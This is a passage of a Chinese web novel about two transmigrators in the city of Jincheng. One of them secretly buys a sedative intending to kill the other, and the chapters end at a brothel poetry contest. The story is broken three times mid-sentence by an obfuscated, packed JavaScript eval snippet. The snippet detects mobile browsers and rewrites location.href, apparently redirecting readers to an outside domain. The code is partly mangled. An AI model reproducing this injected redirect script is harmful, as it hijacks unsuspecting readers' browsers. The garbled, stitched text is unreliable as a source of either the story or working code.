在他看不见的地方,宋澜安又给了车夫一两银子。 车夫瞬间喜上眉梢,伸手去接,却见宋澜安又将银子收了回去:“昨日你只是外出采买,车上并未搭乘过任何人,明白了吗?” “小的明白,明白!”车夫连忙将银子揣进怀里,而后毫不犹豫地转身,驱车离开了城门边。 锦衣卫的暴戾手段,先前宋澜安已经见识过了,若车夫说出他们的下落,或许同样是自身难保。 如此,对他而言未尝不是一种保护。 两人走到城门前了解情况。 确实如同车夫所说,车马需开具文牒才能入城,行人入城则简单多了,只需简单盘问几句即可通行。 江序行和宋澜安默契地用了假名字,免得生出事端,成功混入了锦城。 锦城不愧是江陵川治下的城池,城内一片热闹非凡,小摊贩遍地都是。 江序行和宋澜安两个人走进城中,就像是小溪流汇入大海,很快就隐没在人群中。 江序行惊讶地环视着周围,充满了对锦城的好奇,如同一只小狐狸,东瞧瞧西看看,一时间看花了眼,对这个全然陌生的环境充满了新鲜感:“这古代的城池还挺气派!” “别到处乱走。”宋澜安走在身后,人潮涌动,他皱着眉心将江序行拉回到身边,“现在还不知道江陵川是什么样的人,你不能贸然去找他。我们先找个地方住下,其他的从长计议。” 江序行回过神来,想起自己现在是在逃皇子,点点头道:“好,都听你的。” 8. 进城 08 二人在街边随便找了一家客栈。 即便只是随意找的,也比前一夜他们睡过的那家破客栈要气派很多。 一见到二人走进来,店小二立即热情地迎了上来:“二位是打尖还是住店?” “住店,先定两夜。” “好嘞!”店小二领着两人走到一边,“近些天进城的人太多,所以我们现如今也只剩下地字号房,一间一晚五两银子,两位是开一间还是两间?” “一间就要五两?”江序行震惊。 他虽然初来乍到,但也隐隐计算过花销,他们乘马车整整走了一夜才不过花费二两,如今住一夜就要五两银子…… 这也太黑了! 店小二见他反应激烈,干笑了两声:“连日来,忽然许多人进城,因此几家客栈的价钱也跟着涨。这也是没办法的事情,两位要是觉得太贵,不如去别家看看?” 宋澜安眸色渐深,听店小二的意思,整个进城的客栈店家都在涨价,就算是他们现在离开,也未必能够找到更加合适的客栈。 到时候反悔回来,这空房就未必还在了。 “一间地字号房,开吧。” 宋澜安将五两银子递到店小二的面前,小二的脸色肉眼可见地和缓了:“我现在就带着二位上楼!” 这边的地字号房环境要好很多,江序行和宋澜安一前一后走进去,看到床边还有张小榻的时候,心中都松了一口气。 “晚上我睡这儿。”江序行先一步走到小榻边,不打算和宋澜安争抢床的归属权。 【宿主,待在宋澜安身边,更有利于你下手。】 系统忽然跳出来。 江序行哪里不明白这个道理?但也要他敢才行啊! “你身上有伤,床给你。”宋澜安言简意赅,关上房门,推开窗向外看去。 这里离城中心还有段距离,但下面仍有很多人,大部分看上去神色匆匆,不出意外的话,应该都是从皇城逃到这边来的。 “宋澜安,现在都安顿好了,我们去外面四处看看吧?”江序行皱了一下鼻子,看着自己右臂的伤口,“我的药也该换了。” 宋澜安收回目光,视线落在江序行的患处,随后摇头:“最好还是等到晚上再去,外面太多人了,青天白日出去的风险太大。” 江序行只好答应:“那就等晚上再去吧,我刚才听见有人说,锦城入夜之后有夜集,卖什么东西的都有,咱俩到时候再出去看看。” 见他一副耐不住寂寞的模样,宋澜安垂眸看了眼挂在腰间的钱袋子,在付完两夜的房钱后,肉眼可见的瘪了很多。 可供他们随意挥霍的不多了。 江序行并未察觉到宋澜安神情的变化,同时也在心里盘算起来。 宋澜安保不准什么时候就又要离他而去,今天去夜集,他得想办法买点工具,先下手为强,杀了宋澜安,省得整天提心吊胆。 虽然银子都在宋澜安手里,但江序行先前换衣裳的时候,发现原主还贴身带着一块玉佩,藏得很稳妥隐蔽。 他看过了,玉佩的种水很好,少说也能换个几十两银子。 两人就这么各怀心思地在客栈呆到了晚上。 入夜,锦城四处花灯锦簇,连街的朦胧灯花,犹如一条漫无边际的天河。 走出客栈,江序行的眼睛瞬间就亮了起来:“好漂亮!” “请问老人家,夜集往那边走?”宋澜安走到一边,向摊贩问路,转过头,江序行就已经跑远了。 “……” 还真是一刻都不让人省心。 下一秒,就见宋澜安扯着江序行的领子,带着他按照摊贩的指引朝城中走去。 越往城中走,越是繁华,江序行一时间都忘记了自己是来做什么的,见到几家小吃,便眼巴巴地转过头来盯着宋澜安。 宋澜安:“你想吃?” 江序行:“不明显吗?” 明显。 宋澜安还没见过一个人的表情能够如此丰富确切,将渴求明明白白写在了脑门上。 一边的小吃摊摊主见状,连忙吆喝:“小哥,来一块梅花糕吧!我家的梅花糕只有锦城有卖,保准你吃了忘不了! 宋澜安将银锞子放下:“来一块吧。” 江序行的眉眼瞬间弯了起来,如同一轮新月:“宋澜安,你真好!” 这就算好了吗。 江序行,是不是有点太好哄了? 江序行接过梅花糕,咬了一口,顿时幸福地点头。 不愧是没有添加剂的手工糕点,好吃! 他还掰了一小块递到宋澜安嘴边:“你吃不吃?” 对于甜食,宋澜安向来敬谢不敏,况且江序行看样子也不是诚心想给,眨着双眼,眼里尽是不舍。 “不用了。”他说。 江序行暗自松了一口气,收回手。 宋澜岸:“……” 转头看向似乎没有尽头的长街,又问:“你还想吃什么?” 江序行想吃的?那就多了! 他四处张望着,每一个小摊面前都要停留一下,江序行负责在前面买买买,而宋澜安就负责跟在他身后给银子。 没一会儿,一袋银子就花了小半。 宋澜安还是低估了江序行的花钱能力,见他还要买,皱眉瞧着江序行已经拿不下的双手,质疑道:“你确定你能吃完?” 江序行难得心虚:“应该能吧?” 这种有人跟在身后交钱的感觉简直不要太好! 但是钱也花了不少,江序行瞥了一眼宋澜安的钱袋子,决定适可而止:“好了好了,这些就够了,我不买其他的了。” 他其实是故意要花的。 毕竟宋澜安要想离开,无论走水路还是旱路,都必定要花银子。 现在全都花了,宋澜安就算想走,也是寸步难行。 只是江序行似乎忘了,宋澜安那天拿出钱袋子交给他,就是做好了独自空手离开的准备,反而因为他此刻的大手大脚,宋澜安再度坚定了要离开的决心。 两人继续向前走,江序行不着痕迹地观察周围,忽然看到了一家药铺,旁边挨着一家当铺,就在巷尾不起眼的角落处。 这不就是,得来全不费工夫? 江序行立即看向宋澜安:“那边有家药铺,我去买药!” 宋澜安看过来。 江序行因为心虚而莫名有些紧张,被他盯得心中发毛。 “怎么了?”宋澜安收回目光,从钱袋子里拿出几颗碎银。 “给你,买药钱。”他将银子递给江序行,随后道,“我在这周围打听消息,你快去快回。” 江序行刚还在想,自己要找什么理由才能甩掉宋澜安单独过去,没想到他居然主动提出要分开走,于是连声应下:“好,我一会儿就回来!” 江序行拿了银子,快步走向药铺。 看着他匆忙的背影,宋澜安的眸色沉了下来。 以防被宋澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030974|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安看到,江序行还是先一步去了药铺。 药铺里面只点了一盏烛灯,看上去昏昏沉沉的,江序行试探着问了一句:“有人吗?” 角落里传来窸窸窣窣的声响,江序行顺着声音看过去,发现角落里原来蹲着一个人,看上去年纪轻轻。 “来买药?”那人打了个哈欠,点燃了另一支蜡烛,药铺总算亮堂了一些。 随着动作,浑身的肉也跟着颤了颤。 “对,我要买治疗烧伤的药。”江序行道。 青年挠了挠头:“那你等一会儿吧,我爹不在,我去给你找个方子抓药。” 江序行爽快地将碎银放在桌上:“那你先找着,我去旁边逛逛,一会儿回来取。” “啊,好。” 江序行离开后,那人挠了挠脑门,心中也有些没谱。 他家虽然是开药铺的没错,但他半点药理也不懂,这人居然也放心让他抓药。 江序行醉翁之意不在酒,当然没顾上这些。 见外面已经没有了宋澜安的影子,他一溜烟进了当铺。 当铺可比一旁的药铺亮堂多了,江序行大步走上前,将原主的玉佩放在掌柜面前:“掌柜的,收玉佩吗?” 掌柜的觑着眼睛,看清玉佩之后,顿时精神了不少,将玉佩攥在手中反复赏玩,脸上也露出笑意:“这成色,这种水,就算是在锦城都难得一见啊!” 江序行放心了。 看来先前自己没有看走眼。 “掌柜的,您识货。”江序行恭维了两句,随后问道,“看您应该挺喜欢的,开个价吧,我要把这玉佩当了。” 掌柜迟疑了一下。 有这种玉佩的人,应该不怎么差钱才对,虽然他不认识这玉佩上面的纹路,但能隐隐感觉到不一般,可能是属于什么家族的标识。 眼前这少年…… 漂亮、矜贵,就是衣裳差了些。 见掌柜面露犹豫,江序行瞬间会意,连忙道:“这玉佩是我父亲留给我的,只是苦于家道中落,我母亲她还忽然病重!” 江序行边信口胡诌,边抹了抹眼尾不存在的眼泪:“原本留着玉佩是为了个念想,但现在为了给母亲买药,我也只能把这玉佩当掉了。” “既如此,我也不压价。”掌柜伸出手掌,“五两黄金,你这玉佩不凡,本是比这价钱高,但在当铺的东西,随时都能赎回去,我也只能给你出这个价了。” 五两黄金! 江序行喜出望外,五两黄金够他买很多东西了。 但不好表现得太明显,江序行收着表情:“行吧,这价格也算公道,掌柜的您收了吧。” 掌柜立即稀罕地将玉佩放进楠木盒子里,点了五两黄金递给江序行:“您收好!” 江序行将金子揣好,从当铺走出来,一秒钟也没有耽搁,转身就再次走进了药铺。 他的药已经配好了,就放在门口的木台子上。 方才那青年又回到角落里窝着了:“药给您配好了。” 江序行拿了药,却并没有离开,而是再度走到青年的面前,放低了声音,道:“我还想再配一样药。” 青年挠了挠后脑勺:“什么药?” 你想要,我不一定会配啊。 现在你手上提的药都是我随便找的药方。 江序行也是第一次做坏事,声音都夹杂着一丝颤抖:“迷药,你能配吗?银子不是问题。” 说着,他将一枚金锭子放在了青年的面前。 9. 迷情 09 见到金子,青年顿时坐直了,两眼放光,财迷心窍般连连答应:“能配,什么都能配!” 江序行将金子丢给他:“那就给我配一副,药量最好大一点,效果好一点。” 见那人呆呆地看着自己,江序行随意找了个理由,解释道:“我这几日总睡不安稳,所以给自己配点,要是效果不明显,我怕我睡不着。” 一听就是很蹩脚的理由,不过为了金子,青年憨厚笑了笑,连忙将金子贴身放好,答应下来:“行,小兄弟你就放心吧,我一定给你多加剂量!” 说完,他就起身去找他爹留下来的方子。 这迷药的方子,他之前好像还真的见过,是药铺里面备着给母牛母猪生崽时候用的,否则也不敢贸然答应下来。 但是放在哪儿了呢…… 看着青年忙里忙外,江序行在一旁坐了下来,不自觉开始放空。 要想杀掉宋澜安,正面硬碰硬显然不行,江序行也知道自己这身体,孱弱得像是被风一吹就会倒下。 而宋澜安不仅身体好,还有利器傍身。 眼看着他最近对自己信任了不少,江序行只能铤而走险,把宋澜安迷晕之后再下手。 为了以防万一,下的剂量重一些,说不定他能让宋澜安在睡梦之中毫无痛苦地死去,这样似乎也就没有那么残忍了。 【宿主不用太有心理负担,杀掉宋澜安只是为了解决这个世界的谬误。】 【等到回到现实世界,不会有人知道的。】 江序行当然明白这个道理。 等回到了现实世界,这边经历的一切就如同做了一场噩梦,就算是他跟别人说“我杀过人”,恐怕也会被当成是开玩笑。 但江序行还是不太过得去自己心中这一关。 宋澜安虽然冷酷了些,有时候还嫌弃自己拖后腿,但对他还是很好的。 比如刚才,自己要什么宋澜安就买什么。 男朋友也就这样了吧? 【宿主,想想回家,还有你的家人,他对你的好也就算不上什么了。】 【你现在做的一切都是正确的。】 江序行回过神,冷下脸。 【你也不是什么好东西。】 【我听你的,是因为我想回家,而不是觉得这是对的。】 有时候江序行也觉得自己冷漠,居然毫不犹豫地接受了这个任务,但事已至此,他只能硬着头皮往前走。 另一边,青年找得满头大汗。 “先前明明记得就在这边的……” 他找来找去,忽然在角落里面找到了一张方子,字迹已经有些模糊了,但依稀能看清上面写了迷药两个字。 “对,就是这个!” 青年连忙将方子打开,按照上面的药材抓了药,细细磨好药粉,递给江序行。 “这就好了?”江序行看不出来什么,凑近了闻了闻,忽然感觉一阵头昏脑涨,立即拿远了一些。 还真有用。 “这个方子保准有用,小哥你就放心吧!”青年一点都不心虚——这药哪里还需要加量?本来就是给牲畜用的迷药,人吃进去不睡个三天三夜肯定是醒不来的。 “行,那我走了。”江序行将药收好,转身离开了药铺。 青年匆匆将方子收回原处。 要是让他爹知道他随便给人开药,而且一看就不是用在正途上,还不得打断他的腿。 因此他自然没有看到,刚才他拿的那张方子上面,写的并非是“迷药”。 而是“迷情药”。 另一边,刚走出不远,江序行就看到了坐在茶水摊前的宋澜安,于是有些心虚地轻咳了两声:“你动作真快,这么早打听完了?我也刚好买完药了!” “锦城的百姓很好客,问得差不多了。”宋澜安冷冷地看了江序行一眼,“你买这么多药……都是治烧伤的?” 江序行本来就心虚,闻言立即摆摆手:“我还买了一副强身健体的药,你也知道,我这身体不是有点虚吗!我补补,补补。” 宋澜安冷笑一声:“你是得好好补补。” 江序行:“……” 这话怎么说得阴阳怪气的。 江序行没打算现在就动手,锦城风光大好,好歹也得让宋澜安再好好享受一天,死得其所。 思及此,江序行忽然灵机一动:“宋澜安,要不然,我们去青楼玩玩吧?听说锦城的青楼又大又繁华。” 宋澜安的表情一言难尽。 “来都来了,咱们现代还没有青楼呢,我们就进去看看,不做什么!”江序行是真的有些好奇,古代的青楼到底是什么样子的,真的如同电视剧里面演的那样吗? 见江序行一副求知欲旺盛的样子,宋澜安蹙起眉,想要回绝。 青楼绝非什么好玩的地方,况且他们也没多少银子了。 然而他刚要开口,就听到江序行又抛出一句:“而且,自从咱俩进城,你那破系统是不是都不发布任务了?青楼这种场景,一看就是推动剧情的好地方!” 宋澜安竖起戒备:“什么系统?” 江序行十分自来熟地拍了拍他的肩膀:“哎呀,在我面前就不用演了!你之前动不动就发癫,肯定是因为那个系统任务吧?” 宋澜安:“……” 江序行有些得意道:“一看你就不怎么看小说吧?那些穿越小说里面都这么写的。” 宋澜安:“……” 那种没有营养的东西,他确实不会看一眼。 “而且你之前还送过我奶茶,那一看就是现代的东西,我又不是傻。” 宋澜安思索起江序行说的话来,虽然很不着调,但似乎有些道理。 系统没有检测到任务,他就无法得到奖励,推动剧情,所以去青楼看看,确实是个好选择。 但江序行无事献殷勤,非奸即盗,就这么遂了他的愿,似乎太便宜他了。 “怎么样,是不是心动了?”江序行唇角上勾,眼含挑逗,看上去伶俐狡黠。 比上不足,比下有余,倒是有点小聪明。 宋澜安不知怎么就生出了恻隐之心,刚才那么一点想要和他作对的心思,瞬间就熄灭了大半。 “走吧。”他迈开步子走在前面。 江序行后知后觉地看着他的背影,忍不住吐槽了句:“死傲娇……” 然后才拔腿追上去:“你等等我啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030975|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>顺着人潮,两人找到了锦城最大的青楼——锦花坊。 江序行站在不远处,瞧这青楼的牌子,金雕玉琢,看上去十分气派。 然而不同于在电视剧里看到的那样,门前只有两位男子迎客,生得端庄如玉,根本不像是青楼中人。 江序行一时间看得有些呆了。 没想到,古时候的青楼是这样的! “不是说要进去吗,走啊?”相比之下,宋澜安显得对门前的景象毫不在意,他大步流星地走上前,发现身后没有脚步声跟着,转过头看向江序行,“你还站在那儿干什么呢?” 江序行说得兴致昂扬,却连半步都没有挪动:“没什么,就是感觉这边儿空气比较好。” 宋澜安:“……” 锦花坊花灯锦簇,映得整条街都红红粉粉,宋澜安非常确凿地感觉到,江序行的脸也被染得通红。 他这是走到这儿了,忽然害羞了? “刚才不是你叫的正欢,一定要来逛逛吗,怎么现在不敢进去了?” 江序行在穿越过来之前是个母胎单身,虽说眼前这青楼看上去挺正经的,但他心里面还是有些发怵。 隔着一条街的距离,都能闻到淡淡的有些刺鼻的脂粉味。 宋澜安不耐烦了:“你到底进还是不进?你要是实在不想去,那我就自己进去了。” “诶!”江序行连忙上前扯住宋澜安的衣袖,胸膛一挺,“谁说我不敢进了?进就进!” 宋澜安没有戳破江序行可怜的自尊,而是直接忽视了它。 走到锦花坊前,门前的公子立即迎了上来:“两位客官,里面请。” 他眼波流转,虽然并未表露出什么特别的神情,但江序行整张脸还是瞬间烧红了起来,就像是在火里面烫了一遍。 耳边传来一声轻笑。 也多了一道盯着他的脸的灼热视线。 江序行怒瞪着宋澜安。 真的很欠揍! “两位客官是第一次来吧?这么俊俏的公子,若是从前来过,小的必定记得。” “客官放心,我们肯定会好好服侍两位的。” 迎客公子的笑声流转在耳畔,江序行更紧张了。 这还不如不说。 他这么一开口,江序行就不禁想入非非起来,连忙摇了摇头,杜绝这些想象。 他可不是那种随便的人! “两位公子,请进吧。” 江序行和宋澜安在几人的簇拥下走进了锦花坊。 刚一走进,江序行就不由得再次被震撼到了。 这锦花坊从外面看起来精致气派,里面更是不遑多让,夜晚的璀璨灯火将整个楼内点缀得十分辉煌,轻纱从楼顶垂落,更添了几分若隐若现的魅惑感。 江序行只觉得周遭都是一片香喷喷的,他也不禁有些头晕目眩。 “屏息凝神。”宋澜安清冷的声音忽然从一旁响起,“这里的空气中恐怕有迷药。” 听到迷药两个字,江序行顿时就清醒了。 心虚混杂着后怕,他下意识紧了紧手中迷药的绳子。 “你确定?” 宋澜安从来不说没有把握的话,自信地点了下头。 10. 诗会 10 “两位客官既然是头一次来,应当是要找清倌儿,听曲儿品茗吧?”门前那公子又跟了上来,“小的观这位小公子,生得比我们的花魁还漂亮几分。应当只是来寻欢作乐,不求醉生梦死。” 江序行连连点头,不能更同意:“对对,我们就是随便过来看看!” 在他身侧,宋澜安不着痕迹地打量着整栋楼。 丝竹声萦绕耳边,加上空气中混杂着的香气,很容易令人放下戒备,于此沉沦。 “那两位客官可算是来着了。”引客的公子道,“小的名为玉逐,可以引荐两位客官到二楼雅座,此时楼上正在举办诗会,花魁也在二楼。” 花魁! 江序行的心情突然由紧张变成了好奇。 一直沉默着的宋澜安忽然开口:“那就麻烦玉逐公子,替我二人引荐。” 玉逐上下打量了宋澜安一番,颔首道:“二位随我来。” 江序行和宋澜安并肩走在后面,见宋澜安一副若有所思的模样,江序行放低了声音:“这青楼里有什么地方不妥吗?” “或许有,”宋澜安随口应道,“这不是我们现在该知道的,收收你的好奇心。” 眼下两人疲于逃命,就算这青楼背后有什么隐匿之事,也轮不到他们来管。 “……好吧。”江序行本来没察觉到什么,但听宋澜安这么一说,便觉得处处都不对劲。 为了把这种不对劲的感觉打消下去,江序行决定打搅一下身边的人:“宋澜安,你也对花魁有兴趣?” 宋澜安懒得理他。 他只是单纯无法忍受下面的鱼龙混杂,才决定上楼。 顺便看看那个诗会能不能触发系统任务。 江序行:“不说话就是感兴趣喽。” 宋澜安头疼。 “两位公子,到了。”玉逐在一道房门前停住,随后比了个请的姿势,“玉逐还有别的事,不能侍奉在侧,两位公子先请。” 都已经走到这儿了,无论如何硬着头皮都得进去。 江序行谢过了玉逐,和宋澜安一左一右推门而入。 开门时,正听到一道伶俐悦耳的声音,款款念出一句诗,随后赢得了满堂彩。 “不愧是海棠姑娘,好诗,好诗啊!” 江序行二人对视了一眼,在角落不起眼的地方找了个位置坐下。 抬头望向高台,那上面站着一位风姿绰约的美人,就连满堂华灯比之眉眼都要逊色几分。 只见她轻轻朝台下福身,谦逊道:“陈公子谬赞,不过几句杂诗,令各位公子见笑了。” 方才的诗句江序行并没有听全,不过见下面的众人似乎是真心实意喝彩,可见这位海棠姑娘是有些本事的。 “两位兄台,也是来看花魁的吧?”一旁有人主动搭话。 江序行对花魁并不太感兴趣,看了眼感兴趣的宋澜安,附和着点头:“我们是第一次来,不知道花魁是哪一位?” 那人连忙指向海棠:“花魁可不就在这儿吗,海棠姑娘,可是咱们锦城的一位奇女子啊!” 怪不得。 江序行环视一圈,发现人人的目光都像是贴在海棠身上揭不下来了,贪婪、欲望,在这些目光中体现得淋漓尽致。 他忽然觉得,这台上的海棠姑娘就像是一件待价而沽的商品,引得众人垂涎,都纷纷想要得到她,却没有一个人真正欣赏她所创造出的诗词。 江序行忍不住皱了一下鼻子,感到有些不适。 有点后悔带宋澜安进来了。 “今日诗会若是能夺得魁首,便能得到与海棠姑娘宴饮的机会,平日里她可几乎不单独见客。”一旁的人解释道,语气中透着酸意,“前面那几位公子哥,都正起劲儿呢,像咱们这种平头百姓,也就只能凑凑热闹了。” 江序行在桌子底下踢了踢腿。 宋澜安感觉自己的脚被什么东西绊了一下,余光瞥了江序行一眼。 “那么这一局,便是海棠姑娘胜了。”一旁的老鸨喜笑颜开,“还有哪位公子想来?若是谁能赢了海棠,便赏白银十两,夺得今日魁首!” 江序行听到有银子,眼睛刷一下亮了起来。 宋澜安:“……” 还真是半点都不意外。 但江序行的猪脑子是没听明白吗,若是夺了魁首,还得去同那花魁宴饮作乐。 江序行虽然没什么创作才华,但他背过的诗词少说也有几十首。 书中朝代完全是架空的,原主的记忆中也并未出现过现在诗词的影子。 那他岂不是随便“借鉴”? “我,我来!” 江序行站起身。 海棠递来清清冷冷的一眼,然而目光在触及到江序行的容貌时,有片刻的愣怔。 “好好,这位公子来吧。”老鸨满脸堆笑地迎上前来,朝江序行伸出手。 江序行:“?” “这位公子该不会不知道吧,若想参与诗会,也得先缴五两白银才行。” 江序行确实不知道。 刚才玉逐把他们引上来,什么都没说就直接走了,江序行第一次来,哪懂其中的弯弯绕绕? 好在宋澜安给他的银子还剩下些,刚好够交上。 “好嘞,那这位公子请上座!”收了银子,老鸨顿时喜笑颜开,“这一题,海棠来出吧!” 海棠闻言,勉强扯出了一抹笑意:“既如此……便以锦花坊的花字为题,写两句诗吧。” 凑近了些看,海棠生得矜贵妩媚,如同一枝养在掐丝金瓶中盛放的花,全然不像是流落风尘之人。 海棠垂眸,长睫露出一片阴影:“既然是海棠出题,那便由公子先作。” 诗嘛,江序行听到题目时就立刻想到了一句最贴切,他清了清嗓子,款款开口: “云想衣裳花想浓,春风拂槛露华浓。” 诗句一出,海棠面露愕然。 眼前这位公子居然想也不想,便能对出如此诗句? “好,好诗啊!” 方才同江序行搭话那人带头喝彩,前面的几个公子哥皆面色不善,但又不得不承认这诗句无可挑剔,只能跟着鼓掌。 掌声如雷,江序行面上神色自若,实则心虚极了,在心里面默默给诗仙老人家道了个歉。 为了赚五两银子,他也只能欺世盗名一下了。 海棠俯首:“公子已然作出此等好诗,海棠就不再班门弄斧了,这一局是公子胜。” 老鸨有些不情愿地将方才江序行给她的五两银子还了回去,然后又从自己腰包中点出五两:“客官如此才德,佩服佩服。” 江序行喜滋滋地拿着十两银子回到了席位:“宋澜安你看,我赚到钱了!” 宋澜安:“……” 没眼看,就像没见过钱似的。 光是今夜江序行挥霍出去的都不止十两,宋澜安懒得说他。 他只是奇怪。 先前明明只是一些简单的场合,都能触发系统任务,但在这里过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030976|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么久,系统反而安静如鸡。 “若是无人再来挑战,今日的魁首便是这位公子了。” 忽然,厅堂中响起一声从门口处传来洪亮声音:“谁说没人了?本公子这不来了吗!” 众人的目光随之投向说话之人,只见两个小厮打扮的人推开门,随后,一只绣着云纹的金履迈了进来。 “哎哟,这不是上官公子吗!”老鸨顿时换了一副面孔,甩着手中的帕子就迎了上去。 那只金履的主人逐渐显露出来。 吊眼,尖脸,一副十分不好相处的面相,不屑地扫视过在场众人,才露出一抹笑。 “今夜如此盛景,怎能少得了本公子?”他不顾场面,径直走向台上的海棠,“本公子在此,谁还想进海棠姑娘的房间?” 上官眼中的轻蔑,江序行看得十分真切,似乎全然不把海棠当作一个人,而是喜爱的物件。 心中不由得生出了些厌恶,身体也紧绷了些。 “你要做什么?”宋澜安见江序行表情不对劲,按住他的左臂,淡淡开口,提醒道,“最好不要多管闲事,你看其他人的反应,就知道这位上官公子绝对不简单。” 在场的人几乎都是为了海棠而来,然而看到上官敬如此唐突的举动,却没有一个人敢站出来,就说明—— 这里的所有人,都不敢招惹他。 然而,宋澜安话音刚落下,便听到脑海中传来“滴”声。 【叮咚,任务已刷新:请宿主打脸上官敬,打脸成功即可获得丰厚奖励哦!】 “……” 早不来晚不来,偏偏在这个时候刷新任务。 故意的吧? 【那个,系统任务也是要关键词触发的,绝对不是我故意为难宿主!】 宋澜安只是觉得自己有点脸疼。 他刚信誓旦旦警告了江序行,不要招惹麻烦,结果下一秒就接到了任务,马上就要去招惹上官敬了。 【我不做这个任务,应该也可以吧?】 【但是此次打脸任务的奖励异常丰厚,宿主,你真的决定要放弃吗?】 虽然这破系统从第一次出现的时候,就不断哄骗他要接受这些打脸任务,但这还是头一次,明确告知他任务奖励会很不错。 宋澜安深深看了眼上官敬。 此人恐怕比他想象中还要不简单,若只是当地富绅,也不至于让系统如此劝告。 系统:【……】 它可什么都没说呀! 宋澜安这脑袋转的也太快了,这样算不算是提前剧透?该不会罚它的工资吧! 【行,这个任务我接下了。】 【好的。】 答应了一声,系统就恢复了安静如鸡的状态。 自打上官敬走进来,海棠就始终紧咬唇瓣,很明显,她不想与上官敬有任何接触。 但也只能僵硬地微笑道:“既然上官公子要参与诗会,那便请入席吧。” 一旁的老鸨迫不及待地收了五两银子,眼睛都笑成了一条缝。 “那就请海棠姑娘速速出题吧,本公子已经等不及了。”上官敬目光如狼如豹,尖锐地扫过在场众人,“方才赢了海棠姑娘的是谁?本公子要挑战你!” 江序行五两银子还没揣热乎呢,不是很想出头。 宋澜安说的没错,这个上官敬看上去身份就不简单,虽然他对海棠确实有些怜悯,但此时惹祸上身,说不定丢的是自己的宝贝性命。 江序行毫不留恋:“我弃权。” 11. 欢宴 11 见江序行如此识时务,上官敬脸上露出一抹得意的笑,随后朝身边的小厮使了个眼神。 那人立即会意,朝江序行这边走了过来。 一枚金元宝被丢在江序行身上:“我家公子赏的。” 江序行:“?” 不是,壕无人性啊! 他现在有点仇富了。 “若是无人再敢应战,这场诗会,可就算是我赢了。”上官敬展开手中折扇,面露笑意地摇了摇,就连扇骨都是玉琢的,价值连城。 “上官公子,这恐怕不合规矩吧?”海棠没想到江序行竟然直接放弃了,否则以他的诗才,必定能胜得了上官敬。 “有什么不合规矩的,本公子不过是想和你饮酒赏月,难不成海棠姑娘,连这点面子都不愿意给?”上官敬咄咄逼人。 江序行心中不痛快起来,正纠结着要不要给他点颜色瞧瞧,忽而此时,身边的宋澜安站起了身。 “我来挑战上官公子。” 上官敬摇扇子的动作忽然停了,脸上的笑容也淡了几分。 哪儿来的毛头小子,竟也敢跟他争? 江序行更是大卫震撼。 宋澜安不是警告他不要卷入这场纷争吗? 现如今自己做了缩头乌龟,他反而去英雄救美了? 这能对吗?! 海棠看向宋澜安,眼中满是感激,随即清冷绝艳的脸偏向一方,朝上官敬揖了一礼:“既然如此,容奴家打扮一番,先献一舞,且当是为各位行诗助兴。” 上官敬面色不虞:“既然海棠姑娘有这个兴致,那便请去准备吧。” 海棠道谢过后下了台,老鸨也急匆匆追了下去。 上官敬坐在前面,冷冷瞥了眼宋澜安,很快便收回目光。 看装束便知,这人不过就是一个泥腿子,恐怕连大字都不识几个,能懂得什么对诗?跳梁小丑罢了。 江序行扯了扯宋澜安的衣摆:“你刚才不是说,不能招惹麻烦吗?” 宋澜安:“……” 他已经看清了江序行眼中的揶揄,知道他必定已经猜到了这是系统所为,就是故意想同他呛声。 “你说你这系统,一点儿都没有眼力见,偏偏这个时候和你为难。”江序行轻啧了两声,“系统系统,你可小心一点儿吧,我看你这主人可小心眼了,背不住某天就记你个仇。” 系统现在已经觉得自己被记仇了。 【宿主,我才不相信他说的话呢!你还会爱我的,对吗?】 宋澜安听两人隔空对话,只觉得太阳穴嗡嗡作响,制止道:“这是我的系统,又不是你的,想说话找你自己的系统说去。” 江序行立即装惨:“我哪里有什么系统啊,可能是命不好吧,穿越过来一穷二白的。” 开玩笑,他怎么可能让宋澜安知道自己系统的存在。 不然要怎么解释这该死的任务,难不成直接跟宋澜安说,脑袋伸过来给我砍砍? 两人你一言我一语,海棠姑娘已经换了一身衣裳,飘然露骨的舞衣勾勒出曼妙的身段,一颦一笑间似有万种风情。 下面的人全都看花了眼。 乐声起,海棠一曲胡璇,犹如盛开的花苞,上官敬看得眼睛都直了。 美!实在是太美了! 一舞终了,上官敬站起身,不屑地俯视着宋澜安:“好了,现在舞也跳完了,可以开始对诗了吧?你,叫什么名字?” 宋澜安面不改色:“沈问澜。” 江序行:“?” 你是沈问澜,那你朋友是谁? 应该是想报个假名,信口胡诌的。 宋澜安还真是严谨,江序行想。 “好,姓沈的,你便以此时此刻心境为题,对一句诗吧。” 宋澜安张了张口,系统的声音又冒了出来。 【宿主记得要有气势哦!】 